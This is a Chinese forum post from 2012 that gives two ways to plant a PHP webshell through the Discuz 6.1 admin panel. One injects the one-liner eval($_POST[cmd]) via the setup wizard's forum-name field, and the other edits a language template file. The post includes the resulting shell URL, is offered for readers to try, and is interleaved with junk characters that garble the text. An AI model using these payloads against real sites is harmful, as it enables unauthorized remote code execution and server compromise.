discuz6.1两种方法后台拿shell/ J+ Z" L' u2 F2 g; V
好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
8 I, e; H r. n" p! a" L$ e1: l" u4 W! _- b( f. b2 |
http://127.0.0.1/discuz/admincp. ... zard&frames=yes: [0 J% y# A% n% i" L# F. E. V
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
$ e( m% @/ X; F, X$ U( |<?php eval($_POST[cmd]);?>
8 y' s, U2 p" m8 C) x1 m后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php5 `, n. \; B4 m& h* _. |' E5 x9 J1 E1 s
( r: S# w3 g, t
" x, t" i$ n, U; l6 P0 O- W
2:后台模板管理--默认模板套系--详情9 m/ X, D5 ]& p* G( ]/ k m0 j
templates/default/actions.lang.php ]2 ]) `$ R8 V. p# f8 B1 J3 m+ E
jhackj\\');eval($_POST[cmd])?>;//
# f! J- l# {! I/ j" b# Y; u9 P
& R9 E2 ~* J5 r2 z利用很简单,聪明的人一看就懂了 |
发表于 2012-9-13 16:59:17
收藏
支持
反对